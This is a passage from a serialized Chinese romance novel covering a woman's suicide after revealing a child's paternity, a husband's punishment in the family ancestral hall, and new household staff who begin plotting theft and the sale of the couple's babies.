“他离开后,我满世界的找他,可是怎么也找不到,而这时,我发现自己怀孕了,我本来不想生的,医生说,我的体质特殊,我没办法只能把孩子生下来。”
裴吟:……????
什么意思?
这孩子不是……袁枫的?
“没错,左左不是袁枫的孩子,是那个男人的,这孩子生下来就有基因缺陷,生了无数场病,现在又得了白血病……”
说到这儿,裴吟就不得不插句嘴,“既然不是袁枫的孩子,你为什么要送到他那儿?你就不怕,他把孩子扔掉吗?”
“不会的,袁枫是个好人,他不会扔掉孩子的。”
姚梦然似乎很笃定。
她破碎的看向裴吟,“抱歉,我本来也不想这样做的,可我……也快死了,我没人托付,我知道我在赌,我赌袁枫的善良,也在赌你的善良。”
裴吟蹙眉。
合着,是觉得她们两口子欺负?
“你说你也快死了?怎么回事?”
姚梦然苦笑,眼眶透出艰涩,“我生病了,癌症,救不活的那种,医生说,最多三个月,最少个把月活头……裴小姐,你也是个母亲,你能理解我的吧?”
裴吟心里不是滋味。
她能理解,但不认同。
姚梦然这种做法,并不可取。
“你就没有家人吗?袁枫再怎么是个好人,他也不可能去管一个与自己无亲无故的孩子,你可以把儿子交给自己的父母,或是亲人来抚养。”
姚梦然苦涩扯唇。
她也想啊。
可她哪里还有家人了,“我的父母已经病故,我没有家人了……”
裴吟听的又是一阵心酸。
但姚梦然赌的太大了。
袁枫是不可能收养这个孩子的。
“你找我,是想让我接受吗?”裴吟摇头,她可不是什么菩萨心肠,“姚小姐,我不会接受一个与我没有任何血缘关系的孩子,况且,这个孩子还是袁枫前女友生的。”
“裴小姐,我只求你,给他一条活路,让他平安长大就好,他现在生着病,我还没有死,福利院也不接收,我别无他法。”
姚梦然给裴吟跪下了。
灰蒙蒙的天,加上眼前这个单薄脆弱的女人。
渲染出一种,死气沉沉的悲凉。
“你求我没用,你可以去求袁枫,看看他能不能发发善心,给你的儿子支付治疗的费用。”
姚梦然摇头。
张特助说,袁枫很爱裴吟。
他什么都听裴吟的。
求裴吟比求袁枫管用。
“我求你裴小姐,帮帮我那可怜的儿子,看在我也要离开这个世界的份上,我下辈子当牛做马,也会来报答你的。”
裴吟面色冷淡。
这世界上的苦难那么多。
她怎么能怜悯的过来。
“我不需要你的报答,我也帮不了你,有这功夫,还是去求助一下慈善组织吧。”
裴吟起身。
准备离开。
姚梦然突然大声说,“我知道你是个好人,裴小姐,我知道我选的人没有错的,我就把儿子托付给你了。”
说完。
姚梦然毅然转身,跳过了冰冷的湖水中。
裴吟懵了。
什么情况?
这个女人怎么这么冲动。
“姚梦然,你疯了。”
“来人啊,救命啊,有人救湖了……”
旁边路过的人,并不多。
裴吟只能报警打救援电话,救人。
湖水虽没有海水的汹涌。
但湖中深潭,再加上这个季节,人很快就已经消失在了水平面。
姚梦然出事后。
裴吟给袁枫打了个电话。
“姚梦然出事了,你过来一趟吧。”
袁枫来不及想太多,就来到了事发地点。
见到老婆,袁枫将自己的在大衣脱下来,套在了她身上,“这么冷,你一直在这儿啊?”
“姚梦然跳湖了。”裴吟指着旁边救援的人说,“捞了一会儿了,还没打到人呢,可能是已经到湖中央了。”
“她为什么跳湖?”好好的,又给他惹麻烦,“算了不管她了,你没事吧?”
裴吟摇头。
轻轻的抱住了袁枫,“我这种铁石心肠,怎么突然有点难过了呢。”
“她跟你说……什么乱七八糟的了?”
裴吟还是摇头。
风很冷。
袁枫怕她着凉,揽着她,先回到了车上。
“我没想到,她会约你见面。”袁枫不清楚她们之间聊过什么,“不管她跟你说了什么,阿吟,我现在爱的是你,我对别的女人……”
“我知道。”裴吟抬眸看向袁枫,窗外的暮色正一点点漫进他眼底,“亲子鉴定那边……有结果了么?”
袁枫心里,比裴吟还要紧张和忐忑:“还没。虽然加了急,但最快也要明天才能取。”
他有些抱歉,因为这事让裴吟烦恼。
裴吟点点头,目光淡然。
“不用去取了。”她语气平静。
袁枫愣住:“不用……是什么意思?”
“姚梦然今天来找我说……”裴吟转过身,看着面前的男人,侧脸柔和,“……那孩子不是你的。她得了绝症,时日无多,只是想给孩子找个可靠的归宿,才说了那样的谎。”
袁枫怔住。
随即啐了句脏话。
“她这不是……在害我吗?她知不知道,这样一个谎言,可能会毁掉我的家庭?”
裴吟唏嘘。
不赞同,但理解。
“为了让我同意给她儿子治病,她跳了湖,这么看来,凶多吉少,她在孤注一掷,在赌,你和我是一个好人。”
到了这种地步。
她愿意拿命去换儿子的未来。
作为母亲,姚梦然是合格的。
“袁枫,如果你愿意的话,就把小家伙的病给他治好吧,也算是做了一件善事,你觉得好吗?”
袁枫不在乎做不做个善人。
他只在乎裴吟心里的感受,“我跟姚梦然非亲非故的,我没有义务给她的孩子治病,但我可以把这个孩子交给慈善组织,并且捐助一部分的钱,用于他的治疗,也算是人至意尽。”
袁枫有袁枫的想法。
裴吟只是点了点头。
她轻轻的握起袁枫的大手,“姚梦然凶多吉少了,你会难过吗?”
“我要说不难过,你是不是觉得我挺无情的?”
裴吟:“不会。”
“我记得我跟你讲过,在婚前,我不是什么好东西,交的女朋友很多,她只是其中一个,而且是一个不起眼的存在,如果非说对她有一点印象,那就是乖巧,别的……”
袁枫摇头。
记忆太乱太模糊了,他也不愿意去想。
他握紧了裴吟的手,“老婆,以后我只会好好的爱你一个人,爱我们的孩子,别人根本不重要。”
“那万一,以后再有女人抱着孩子找上门来,怎么说?”
第291章 娶了你,我会幸福
“那你等我把那些前任,一个个的捋一遍,看看哪些个还有这种风险,我提前了解一下。”
他开着玩笑。
将裴吟抱进怀里。
像失而复得一般的,“不会的,除了你,我没有跟别的女人……彻底的放纵过,措施做的很好的。”
“没用,想怀孕,办法千千万。”她只求以后这些破事要少一些,“如果再有女人抱着娃找上门,我就要跟你离婚,而且你要净身出户,知道吗?”
“行啊,怎么着都行,一会儿让律师写个公证,我把我名下所有的财产,全部给你。”
裴吟才不稀罕这些,“我才不要呢,但你要给孩子。”
“行,给他们,我一点都不要。”他只要拥有她就够了,“我只要你开心,就好。”
……
姚梦然是奔死去的。
打捞上来的时候,人已经没了气。
她没有家人,也没人来认尸。
裴吟自作主张的,将她的尸体送去火化,埋进了公益墓园的一棵树下。
对于那个孩子,袁枫去处理了。
她没深究。
这个小插曲,对裴吟影响不大。
但在处理这件事情的过程中,江城的媒体进行了大肆失实的报道。
直接影响到了袁氏集团。
一时风云诡谲,袁家内外,都有一些不和谐的声音。
袁枫被关了祠堂。
无论裴吟怎么解释,袁父和袁母都没有同意解除惩罚。
“阿吟,你别可怜他,这是他在结婚前不着调的报应,日后要是再发生类似的事件,就先打断腿,然后赶下总裁的位子。”
公公婆婆开明。
一方面是这件事情,确实对袁氏产生了不小的影响。
二是对裴吟的抱歉。
祠堂阴冷,摆着那么多的列祖列宗的牌位。
一跪跪七天。
她还真怕袁枫受不住。
“爸,妈,这就是一场误会,袁枫他也没有想到,会发生这事,要不开个记者招待会吧,我亲自出面澄清一下。”
“阿吟,这事啊,你就别管了,你爸他已经在处理了。”
袁母带着裴吟离开。
刚没走几步。
公公的鞭子,就重重地甩在了袁枫的背上。
撕裂皮肉的声音,令裴吟的心脏跟着攥了一下,“妈,就别打他了吧,这事他也算是受害者啊。”
“他算什么受害者?要不是他以前的女朋友太多,人家怎么会找他当替死鬼?公司受到了影响,家差一点也搞散了,你还可怜他,他不值得可怜,让你爸好好收拾他。”
裴吟额角颤颤。
被袁母带离了祠堂。
半夜。
袁府寂静。
裴吟睡不着,披了件睡袍,就去了祠堂。
里面有一盏微弱的灯光亮着。
透过祠堂的窗,袁枫还在里面跪着,身上只有一件白色的衬衣,还被血水氤透,情况有些糟糕。
裴吟转身回了房间。
拿了药箱和厚一些的斗篷,又去了祠堂。
门轻轻推开,发出吱呦的声音。
“谁?”
“是我。”裴吟轻轻的关好了门,“你还好吧?”
“我没事,你怎么来这儿了?这里太冷了,赶紧回去睡觉去。”
裴吟将手上的药箱放下,把斗篷披在了袁枫的身上,“你还知道冷啊?受罚也不能穿这么少的衣服。”
“挺得住。”他说。
“我先给你处理一下身上的伤。”裴吟拿出酒精和纱布,将袁枫的衬衣轻轻的扒下来。
伤口很多。
每一条的鞭痕都很明显。
看得她心里难受,“爸下手也够狠的。”
“他心里有气,我能理解,没关系。”
裴吟轻轻的为他处理着后背上的伤,一点点的,很是仔细和轻柔,“疼吗?”
“不疼。”
不仅不疼,他心是还暖的不行。
他没有想过裴吟会过来。
她担心自己,他心里是高兴的。
“你不用担心我。”
“我怎么会不担心你呢。”裴吟看着这一条条的血痕,心里别提多疼了,“袁枫,我不能只让你付出,我是你的妻子,照顾你也是应该的,我愿意为我……喜欢的人担心……”
爱这个字,裴吟说不出口。
她相信袁枫能懂。
“我不需要你回馈我,我只要你能感受到我爱你就好了。”袁枫将裴吟抱进了怀里,“别担心我,我没事的,……听到你说喜欢我,我很开心。”
他知道,喜欢这两个字,从裴吟嘴里说出来,是一件很不容易的事情。
她是一个不喜欢表达感情的人。
他不一样。
他的爱是热烈的。
付出也不计较回报。
“阿吟,知道吗?现在我才感觉,我们是可以同甘共苦的两口子,我真的……心里满满的。”
她轻轻的推开他。
继续处理着他背上的伤,“那你以前,感觉跟谁是两口子。”
“我不是那个意思,我是想说……,夫妻好像有了具象化,阿吟……”他有点嘴笨,但眼中真诚明显,裴吟笑了,“……跟你开玩笑的,瞧你吓的。”
处理完伤口。
她将斗篷重新给他披好,“虽然说,你在受罚,但我不希望你生病。”
“来,抱一下。”他揽过女人的腰,紧紧的贴着她的身体,“七天很快的,到时爸消了气,董事会的人,也有了台阶下,妈呢也为你出了气,一举好几得的事情,我很情愿。”
“袁枫,你脾气怎么这么好?”黑夜里,女人眸子格外的闪亮,“我听说你以前,脾气可坏可坏了,是上了岁数了吗?老成沉稳了?”
“都当爹的人了,可不就沉稳了吗?”他的指腹,轻轻的蹭着女人的小脸,“为人夫,为人父,不能再毛燥了,我想护着你们的时间久一些,再久一些。”
“说的怪好听。”裴吟伸手搂上他的脖子,“袁枫,如果你当初联姻的不是我,你对任何一个女人,都不会差到哪里去的,你是一个好人。”
“可别。”他最近很不爱听好人这个词,“如果当初联姻的不是你,或许现在我还单着呢。”
“为什么?反正联姻,娶哪个也是娶啊。”她不解。
袁枫不知道该如何解释,感觉这种事情,“一个女人首先得要能吸引我,才能征服我,阿吟,你身上有一股劲,我特别喜欢,怎么会是娶哪个会一样呢,娶了你,我会幸福啊。”
“你真的一点都没有在意过,我是二婚这件事情吗?”
袁枫摇头,“如果在意,就不会娶,娶了还要在意,那只能说……不够喜欢。”
他在她额头上,轻轻的吻了吻,“但我……足够喜欢你啊。”
裴吟笑了,主动去吻他的唇。
这唇还没有吻到。
就听到有声音,由远及近……
“夫人让我过来看看少爷,也不知道是怕他离开,还是怕他冻坏,幸好我啊,人机灵,拿了一床厚的毯子。”
第292章 这把火怎么燃得起来
说话的是伺候袁夫人的小柔。
袁俯男子在祠堂受罚的时候。
是不允许另一半,私自探望的。
这要让她发现,裴吟算是坏了规矩。
裴吟缩到了袁枫的怀里。
斗篷将她整个人圈住。
“少爷,夫人让我过来给您送条毯子,我可以进来吗?”小柔在外面敲门。
袁枫出声,“放门口吧,一会儿我自己拿。”
“好的少爷。”
小柔放下毯子,跟别一位下人,两个很快就离开了祠堂。
裴吟像个小偷,悄悄的露出两只眼睛。
直到彻底的听不到脚步声,她才松了口气,
“别怕。”他温柔的揉着她的头顶,“就算妈发现你在这儿,也只会睁一只眼,闭一只眼的。”
“那我也不能……让下人们看笑话呀。”
好歹,她也是这个家里的少夫人。
“那……继续?”他说。
裴吟:“什么继续?”
“你刚刚不是要亲我吗?”他握着她的下巴,望住她的眼睛,“还没亲到呢。”
“刚刚……”这种东西,得看气氛的呀,现在哪有那个气氛了,“……算了,不亲了。”
“别呀,难得你主动一次。”他将唇递过去,“现在我属于你了,来吧。”
裴吟被他逗笑。
抬手将他的脸推开,“好了啦。”
他笑着将唇印在她的额头上。
“你不来,我可就来了。”
大手掌住她的后脑,吻铺天盖地落下来。
眼睛,鼻尖,最后是柔软的唇瓣。
他的吻很热烈。
很霸道,很凶,又不乏温柔。
裴吟的小手抵着他的胸口,缓缓喘息,仰头承受着属于他的气息。
他抱的她很紧。
几乎要揉进骨血里。
情到深处,他难免会有男人的想法。
这个地方,又着实不合适,做一些别的,只能忍着放开她,“好了,回去睡觉吧,别担心我,我没事儿的。”
裴吟的脸烧的厉害。
刚刚她的小手也没老实,紧紧的抓着他的……
这时,他停下来,她反而有点小尴尬。
“哦,那你,那我……就先回去了,你要跪累了,就睡一会儿。”
裴吟红着脸跑开了。
袁枫深呼吸。
背上的伤,**的疼啊……
……
袁家的闹剧收场。
一切归于平淡。
江城的媒体,在裴吟出面说明情况后,风向急转,连续几天报道的都是正能量的东西。
袁枫受完罚后。
在家里休息了几天。
这两天,他主要是陪裴吟,陪她逛街,吃下午茶,逛童装店,充当一个好老公,好父亲的角色。
干得特别合格。
袁夫人带着两个小宝贝,回了娘家小住一段时间。
家里一下冷清了下来。
裴吟便约了宋南伊出来喝咖啡。
“袁枫私生子那事,搞清楚了?”宋南伊轻描淡写地问。
裴吟点头,“搞清楚了,一场误会。”
“那你们感情,现在也如胶似漆了,有没有想过,再生一个?”
裴吟没想过。
但也不排斥。
“看看再说吧,听听他的意见。”
“我们家这两个小的,快闹死我了,要不是我婆婆帮着我带,我真的,都想离家出走了。”
宋南伊笑着摇头。
裴吟家这两个宝宝很好带。
再加袁夫人肯帮忙,她倒是没有体会过养育的苦。
“那我就比你幸福多了。”
“你是幸福了,你哥最近的日子,可不好过。”宋南伊听霍时序,说了一些关于裴啸的事情,“他不仅情场失意,生意场上也尽是坎,时序说,最近要跟你们家袁枫碰个面,聊一下你们裴氏的事情,总不能让你哥老在润合呆着。”
“那是我爸和我哥的事情,与我无关,我才不管闲事呢,不过……”裴吟现在挺想知道,邓雪那边的情况,“……我哥和邓雪领完证了,两个人正在接受着前所未有的考验,你有没有问过邓雪,她心里是怎么想的?”
宋南伊很难见到邓雪一面。
她应该已经回了海城。
“你们家瞧不上邓雪,不就是因为她没有家世背景嘛,这些重要吗?邓雪是有能力的,她如果不在我这儿干了,去任何一家公司,年薪都可以翻倍,我觉得你父母,真的在这事上,有点犯糊涂了。”
裴吟何尝没劝过呢。
父母不听啊。
“只要我哥不犯糊涂就行。”
宋南伊:“其实吧,我看裴啸哥对邓雪……好像也没有那样……强烈的喜欢,你
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怎么看这事呢?”
“我哥内敛型的,不像霍贱狗,喜欢一个人,弄个全天底下的人都知道,没人再敢追你的,他吃独食,我哥呀,慢热,但他的感情不是假的。”
不假归不假。
两个人都跟阴天的柴火似的,这把火怎么燃得起来呢。
“邓雪这个人也挺闷的,你说两个闷葫芦,以后会不会生个小闷葫芦?”裴吟忍不住笑了起来。
宋南伊无语。
“邓雪可不闷,就是跟你不熟,跟我呢,又是上下属的关系,活泼不着啊,但裴啸哥……是个男人,感情这事,男人不主动一些,那基本上没戏。”
裴吟摸了摸鼻尖。
她到现在也不知道,这两个八杆子都打不着的人,是怎么突然就领了证了的。
“你说,他们什么时候,在一起的呢?”
“我哪知道,我还想着介绍他们两个搞对象呢,没想到,人家早已经暗度陈仓了。”
宋南伊摇头。
端起咖啡,刚要往唇边递,就看到了宋星言。
这小子不在学校里,这是要去哪儿?
“是星言吗?他身旁跟着那个小姑娘是谁呀?好面熟啊……”裴吟挤着眉心想,终于是被她想起来了,“……皮包大王家的小千金,周笑苒。”
皮包大王周家,三千金。
大姐和二姐都结婚了,这是最小的,年纪跟宋星言倒也差不太多。
但是宋家跟周家,不是世交,生意上也没有往来。
这两个孩子,是怎么在一起的?
“南伊,星言不会是又恋爱了吧?我看这周家三小姐,对他挺有意思的,星言不理她,她还上赶着呢。”
宋南伊看的头大。
平民出身的李美纶,宋星言都搞不定。
一个娇生惯养的小祖宗……
“不知道。”
“干嘛那么沮丧。”裴吟笑宋南伊,总是提前忧心忡忡,“星言吃过一次亏,一定不会轻易的开始一段感情的,就算是谈感情,也只是谈谈,你紧张什么呀?”
“不是紧张,是……,”宋南伊无奈摊手,“……你也知道星言又没什么心眼,我觉得他现在不适合开始一段恋爱……,这亏哪能一次接一次的吃啊。”
“男人吃点亏,是好事。”
宋南伊:……好事?
也许吧。
第293章 孩子金子做的,抱抱不行啊
“好啦,别看他了,也许人家就是正常的朋友关系。”裴吟想安抚一下宋南伊焦躁的情绪,“一会儿陪我去买几件衣服吧,我好久都没有买过新衣服了。”
“袁枫不给你买衣服?”
裴吟大喘气,摆手,“可别提了,他的眼光……,他敢买,我也不敢穿啊。”
“霍时序也一样。”宋南伊笑了,“走吧,我也买几件。”
……
宋南伊今天心情还算不错。
车子停好后。
有下人帮着她拎着今天购买的东西。
袋子很多。
下人左手,右手同时开工。
走进客厅。
一个陌生的男人,正在逗弄女儿。
保姆正在旁边,一瞬不瞬的看着,面色为难。
“你谁啊?”
宋南伊将女儿,他男人的手上抱了回来,抱在自己怀中,“怎么随便把小姐交到陌生人的手中?不想干了?”
“太太,他是夫人朋友带来的。”保姆战战兢兢地说。
宋南伊不悦,怒斥,“谁带来的,也不能随便给抱,行了,你被辞退了,收拾东西滚蛋。”
保姆自知犯了错误。
抹着眼泪,转身离开。
客厅里的男人,摸了摸鼻尖,“还挺凶的。”
“我不管你是谁?到别人家里来做客,就老实一点,不要随便抱别人家的宝宝。”
宋南伊不排斥喜欢宝宝的人。
但是很排斥这种年轻的,看起来不像好人的男人。
不经她的允许就动手动脚,还要亲宝宝。
她接受不了。
这时,蓝旗和一个上了岁数的老阿姨一起走了出来。
“南伊,你回来了。”
宋南伊点头,“妈,以后你要会客,就把宝宝交给保姆,或是放在自己眼前看着,哪能随便就给别人抱,您真的太糊涂了。”
蓝旗一怔。
她身旁的妇人也跟着愣了一下。
随即看向了自己的儿子,“你抱孩子了?”
男人撇撇嘴,一副无所谓的样子。
“这孩子金子做的,抱抱不行啊。”
宋南伊听得来气,“你还有理上了?她是你的孩子吗?她才多大,你还要亲她,我告诉你,不报警我就已经给你留脸了?”
“我也没亲啊,我就是看宝宝可爱,才跟她玩一玩的。”
妇人走到男人身旁,狠狠的捶了他两下,“小姑娘金贵着呢,哪是你随便能动的,赶紧道歉。”
男人心里不服气。
但又不得不低头认错,“对不起,我错了,以后不会了。”
宋南伊抱着宝宝转身就上了楼。
妇人一脸的不好意思,“阿旗,真抱歉,惹你家儿媳妇生气了,我们家东泽也老大小了,没本事,也娶不上媳妇,他喜欢孩子……没有恶意的。”
“莉莉,这事,我会跟我儿媳妇解释的。”蓝旗难堪抿唇。
“谢谢你阿旗,我家儿子就拜托你了。”
刘莉曾经在一个偶然的机会下,救过蓝旗。
她为人朴实,当年蓝旗为了感谢她,送了一大笔钱给她。
她没有要。
这次意外相见,是因为带儿子来找工作。
儿子没有文化,找工作四处碰壁。
刚好霍宅正在招园丁。
老姐俩就这么猝不及防的见了面。
多年未见,说了一会儿话的功夫,就发生了令宋南伊不悦的事情。
蓝旗心里不好受。
“我会让陈伯安排的,他就安心在这儿工作吧。”
“谢谢你阿旗。”
刘莉离开后。
陈伯将朱东泽带走。
蓝旗在楼下坐了一会儿,这才动身上楼,想跟宋南伊解释一下。
两个宝宝,正由另一位保姆在看。
宋南伊跟她讲了一些,注意的事情。
“南伊。”
“妈。”宋南伊走出宝宝的房间,“有事?”
“刚刚的事情,是我疏忽了,妈以后注意。”
宋南伊刚刚确实心里不舒服,“妈,这些人,不知来路,还是个男人,是不能让他接触到宝宝的,我也不怪您,就是希望您以后要注意一些。”
“妈大意了。”蓝旗心情沉闷。
说完后,转身就离开,回了自己的房间。
宋南伊也没再说什么。
傍晚霍时序回来的时候。
她将这事跟他讲了,“我……是不是对妈说的话太重了?我看妈一直没出屋,大概是伤心了,你说,我要不要去跟妈道个歉?”
“妈没那么小气。”霍时序没往心里去。
但家里突然多了年轻的男人,他还是不放心的,“这个人什么来头?”
“是妈年轻时一个恩人的儿子,没文化,听说咱们这儿招园丁就来了,没想到是旧识,妈也不好说什么,就留下了。”
霍时序蹙眉。
恩人?
奇怪。
“我会跟陈伯讲看好他。”
“这个
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男人就长得贼头贼脑的,先试用一下吧,也不能以貌取人,我看他妈妈还挺朴实的,看看再说吧。”
宋南伊也不好立马就将人辞退。
或许,他只是长得猥琐呢。
宋南伊让霍时序去看看婆婆,“你去看看妈,她辛苦给咱们看宝宝,我刚刚还冲发火,没给她留面子,我真的觉得……,你帮我哄哄妈去。”
“那我去看看妈。”
霍时序去了蓝旗的房间。
她像是哭过了,眼眶红红的。
看到儿子进来,忙将半边脸转了过去,“怎么到妈这儿来了?”
“哭了?”儿子看到妈妈掉泪,心里自然是不好受,“因为南伊说的那些话吗?”
“没有,怎么会呢,就是眼睛进沙子里,揉的难受,没有的事儿。”蓝旗抽了纸巾,将自己的眼角拭了拭,“你难得回来的早,多陪陪南伊,妈没事。”
“妈。”霍时序握住了母亲的手,“南伊她心直口快,刚刚一个劲的跟我说,她今天对你有些过分了,自己不好意思过来,让我过来向您道个歉。”
“不用,我没往心里去,是我没有看好宝宝,我不应该那么大意的。”
蓝旗很自责。
她不会跟小辈计较。
但伤心也是真的。
霍时序怎么会不懂妈妈的委屈呢。
“您做的已经够好的了,妈,您已经为我们这个小家,付出够多了,这样,我安排一下,让蓝迪陪您去度假,好好放松一下。”
“宝宝还这么小,我怎么放心呢,以后再说吧。”
霍时序坚持,“宝宝可以让保姆带,您太累了,应该好好的休息休息了。”
蓝旗没再反对。
浅浅点头,“妈,给你们添累赘了。”
“妈,别这样说。”霍时序轻轻的抱紧了母亲,“您知道的,我特别爱您,您已经做的够好的了,无需自责。”
母子两个人又说了点体己的话。
霍时序这才离开了母亲的房间。
宋南伊看他回来,忙问,“妈不生气了吧?”
“妈没说生你的气,只是在自责,说没有看好宝宝,我安排一下,让蓝迪陪她去度个假,让她好好休息休息。”
宋南伊点头,“都怪我一时情急,说话没经过大脑,妈为我们付出了那么多,我还……”
“行了。”他伸手揉了揉宋南伊的头顶,“你也别自责了,妈自始至终都没有说过你一句不是。”
第294章 跟亲妈吵架,你还能站我?
没说过,是蓝旗作为家里长辈的风度。
不是她做错事情,还没有反省的借口。
“那你明天有时间吗?”
霍时序:“有事?”
“我想让你陪着我,一起去给妈挑个礼物,我总觉得,今天我说话的语气太重了,妈对我那么好……我,可能就是因为星言,唉……不说了,明天你能陪我吗?”
宋南伊有些焦虑。
霍时序轻抚着她的背,安抚她,“没事的,每个人都有心情不好的时候,下次,妈有情绪的时候,你也让让她就好了。”
“我哪有妈那么大度啊,你忘了,以前我跟孙爱芸吵过多少架了?要不是你总护着我,早就闹翻天了,可这次不一样啊,这是亲妈,你不能总站我,不是吗?”
“我怎么就不能站你了?”他将女人揽进怀里,在她的头发上吻了吻,“好了,跟我说说,怎么就因为星言,心情不好了?”
提到这个。
宋南伊更是心烦。
“今天和裴吟去喝咖啡,看到星言和周笑苒一起……,我认为,他不应该这么快就开始一段感情,他应该静下心来,先把学业完成,然后……”
宋南伊话都没讲完。
霍时序就打断了她,“你怎么会有这样的想法?你想想,你在星言这个年纪,你已经嫁给我了,他怎么就非得先完成学业,再去想恋爱的事情?”
“他刚在李美纶身上栽了呀。”
“那他就以后不恋爱了?”
宋南伊语塞。
她倒也不是这个意思。
就是觉得他应该沉淀一下,“那个周笑苒是周家最小的女儿,不是什么好伺候的主,他这不是找虐吗?”
“你又知道人家不好伺候了?”霍时序认为宋南伊,看待事物太过主观,“你这上来就带着偏见,这就是对人家小姑娘的不公平,再说了,一起出现,就一定是男女朋友?普通朋友不行?”
宋南伊彻底没话。
她揪起霍时序的耳朵,气哼哼的,“你就会怼我。”
“我可不是怼你,我觉得你啊,对星言的关注度过高了,他是个成年人了,他喜欢谁,跟谁交往,吃什么样的亏,都是他自己选择的,你不要因为前世他……”
前世宋星言的去世,对宋南伊有很大的影响。
霍时序知道。
他希望她打开心结,“……南伊,星言是个男人,他懂得好与坏的,放手吧,他会处理好自己的事情。”
“好了,知道了。”
……
几天后。
霍时序送蓝旗去度假。
有蓝迪陪着,宋南伊也很放心。
临离开前,她递了张卡给蓝迪,“照顾好你姑妈,别舍不得花钱,嗯?”
“还是我嫂子大方,你放心吧,我会照顾好姑妈的。”蓝迪抽走了宋南伊的银行卡,挥手跟她们再见,“哥哥,嫂子,你们放心,我们玩够了就回来。”
车子离开。
宋南伊心里空落落的。
霍时序上班前,轻轻地抱了抱她,“你今天就别去公司了,我会早一点下班回来陪你。”
“嗯。”
宋南伊送走霍时序。
回到客厅坐了一会儿。
保姆又加了两个生面孔。
她不放心,就把青姐叫来,“这几个新来的,虽然也是精挑细选,但总归是生人,你要多上上心,帮忙盯着点。”
青姐责无旁贷,“放心吧太太,上次那事后,我和包姐已经分工好了,一人盯半天,不会再让小小姐,和小少爷离开我们的眼睛。”
青姐这么说。
宋南伊总归是放心的。
但这几天,眼皮跳的厉害,感觉总会有不好的事情发生。
“把宝宝们抱下来,我陪他们玩一会儿。”
“好的,太太。”
两个小宝贝长得特别好,虎头虎脑的,尤其是小女儿,越长越白,越来越漂亮,像个洋娃娃似的。
宋南伊喜欢女儿。
但也没有忽略儿子。
看到这一双儿女,她有点想小核桃了。
“太太,宝宝要喝奶了。”年轻的保姆拿着奶瓶走了过来。
宋南伊抬眸看她。
新来的。
长得挺干净,说话声音也温和,就太年轻了,“你会看宝宝吗?没结婚吧?”
“太太,我们都是经过专业培训的,年轻精力足,比那些上了年纪的,更能看好宝宝,您放心。”
宋南伊将视线落到她上的奶瓶上。
“谁冲的奶粉?你冲的?”
“是青姐冲的,让我拿过来喂,青姐说,冲奶粉的事情,由她亲自来。”
宋南伊总算放心。
将女儿递给了她,“你叫什么?”
“李依。”
这个年轻的保姆干活还算利索。
就太年轻了。
宋南伊对她总是有一些顾忌。
便交代青姐和包姐,要多看着她一些。
宋南伊去睡了个下午觉。
YY珠宝最近搞新品发布。
她准备将邓雪先调回来,帮着忙活忙活。
“邓雪,你那边公司的情况允许的话,希望来江城一趟,新品发布会要开了,而我这边也有些吃力,你觉得可以吗?”
那头秒回,“好的老板,我安排一下,马上回江城。”
宋南伊感动眼眶酸。
邓雪总是这样,她指哪儿,就打哪儿。
这样优秀人,裴家还看不上,他们到底想要什么样的。
“好,到时,我让小白去接你。”
“好的,老板,放心。”邓雪发了一个胜利的表情,萌萌的。
扔下手机。
宋南伊在床上翻了个身。
霍时序回来的很早。
去看了小宝贝们后,这才回卧室,看宋南伊。
“妈不在家,你晚饭也不吃了?”
宋南伊懒懒地伸了个腰,“没胃口,正好减肥了。”
“再减,出门让风给刮跑了,怎么办?我上哪儿找媳妇去?”他将女人抱到自己的大腿上,宠溺的看着她慵懒的模样,大手在腰上握住,“来,亲老公一个。”
“不亲。”她摇头。
霍时序的大手往腰上一捏,“亲不亲?”
“霍时序,你真很爱亲哎,有什么好亲的。”
男人嘶了一口,“我有老婆,有嘴,不亲留着干什么?宋南伊,你是嫌弃我了是不是?”
“我可不敢。”她抓着他的头,搔了两下,“天还亮着呢,亲来亲去的,亲出火,怎么办?”
“那就办啊。”他抱起她,直接摁在床上,“好几天没交公粮了,我憋的厉害呢。”
“你真的是……唔……”
两人吻的动情的时候。
门突然被推开,“先生,太……”
站在门口的小保姆李依,看到活色生香的一幕,整个人站在门口,像被钉住了一般。
霍时序抓起抱枕,直接扔了过去,“进来不会敲门吗?懂不懂规矩?”
第295章 我吃药还不行吗
“对不起,真的对不起。”保姆李依赶紧退出去,从外面关好了门。
她站在门口,离开也不是,不离开也不是,“先生,太太,青姐让我上来问一下,你们要不要下去用晚餐。”
“滚。”霍时序声音暴躁。
刚才他裤子褪到一半。
被看了不少的春光。
宋南伊笑的在床上打滚,“霍时序啊霍时序,你真的是丢脸丢大发了……”
霍时序想着就来气。
将卧室的门锁,锁好,又将宋南伊摁在了床上,“那你得补偿我。”
“是你自己没有关门的习惯,这个保姆是新来的,刚刚门虚掩着,当然没有想到,你会在干坏事,我说了,这事大白天的不能干,你总是不听。”
宋南伊笑的不行。
上气不接下气的。
霍时序抬手,先解她的扣子,“干坏事的,可不止我一个人,是我们两个。”
“霍时序你脸红了……”
“让你气的。”
宋南伊的笑声被堵住。
一室旖旎。
……
保姆李依咬着唇,跑下楼。
青姐看她脸跟烧透了似的,不解发生了什么,“李依,你怎么了?”
“没事,先生和太太在忙着呢,应该得过一会儿才下来用餐呢。”依依脸烫得厉害,摸着往外走,“青姐,那我先下去休息了。”
“去吧。”
李依走到园子里。
冷风一吹,她才稍微清醒。
刚刚她看到了什么?
不过是男人宽阔的背,和精壮的腰,以及那双大手缠绕着那双小手……
但那吻……真的很荡气回肠。
她呼吸变得紊乱。
不自觉的干咽。
“啊。”她的腰被一双大手缠上,“在思春呢?身上这么烫?嗯?”
李依刚刚翻涌的情绪,一下就淡了下去。
她扒开男人的手,讪讪坐到了台阶上,“在这儿,你最好不要跟我见面,免得大家说闲话,咱们两个人的工作都丢了的话,就得喝西北风。”
朱东泽并不在意。
他妈对这家的夫人有恩。
他们要是把他辞退了,那就是恩将仇报。
那他还不把这事,捅到媒体上。
“没事的,他们不会怎么样的。”
“东泽,你说,我们什么时候,才能成为有钱人啊?什么时候,你才能像霍时序那样……”
矜贵如翩翩公子。
他看起来,就是很行的样子。
不像朱东泽地,三分钟不到,就软了。
“这还不简单。”
从来第一天,朱东泽就已经在计划了,“我看这家里值钱的东西很多,我们随便偷两件,去卖掉了,他们也不会发现的。”
李依觉得这是个锼主意。
“家里那么多双眼睛,还有监控,哪能随便就偷啊,弄不好,再把我们送进局子里,这好日子过不上不说,还得做牢。”
朱东泽又想到了个主意。
他用手肘碰了碰李依,“我发现了一个网站,是一个专门买卖小婴儿的,我把这家宝宝的照片,发上去问了问,那头报价很高。”
“什么?你在打孩子们的主意?”这简直是疯了。
